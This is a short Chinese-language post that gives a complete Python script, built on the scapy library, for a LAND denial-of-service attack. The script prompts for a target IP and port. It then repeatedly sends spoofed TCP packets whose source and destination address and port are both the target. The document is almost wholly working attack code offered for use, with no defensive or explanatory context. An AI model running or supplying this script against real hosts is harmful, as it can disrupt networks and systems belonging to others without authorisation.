基于scapy编写的LAND Attack攻击
#!/usr/bin/env python3
import scapy.all as scapy #引入scapy库
import time
target = input("Please input your target:") #输入想要攻击的ip地址
port = input("Please input your target's port:") #输入端口
port = int(port) #因为input接收的是str,所以要转换成int型
send_packets=0 #记录发送包的数量
try:
while True:
a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port)) #构造LAND attack攻击包
scapy.send(a,verbose=False)
send_packets+=1 #发送一个,自动加一
print("[+] Sent Packets:" + str(send_packets))
time.sleep(1)
except KeyboardInterrupt:
print("[-] Ctrl+C detected.......")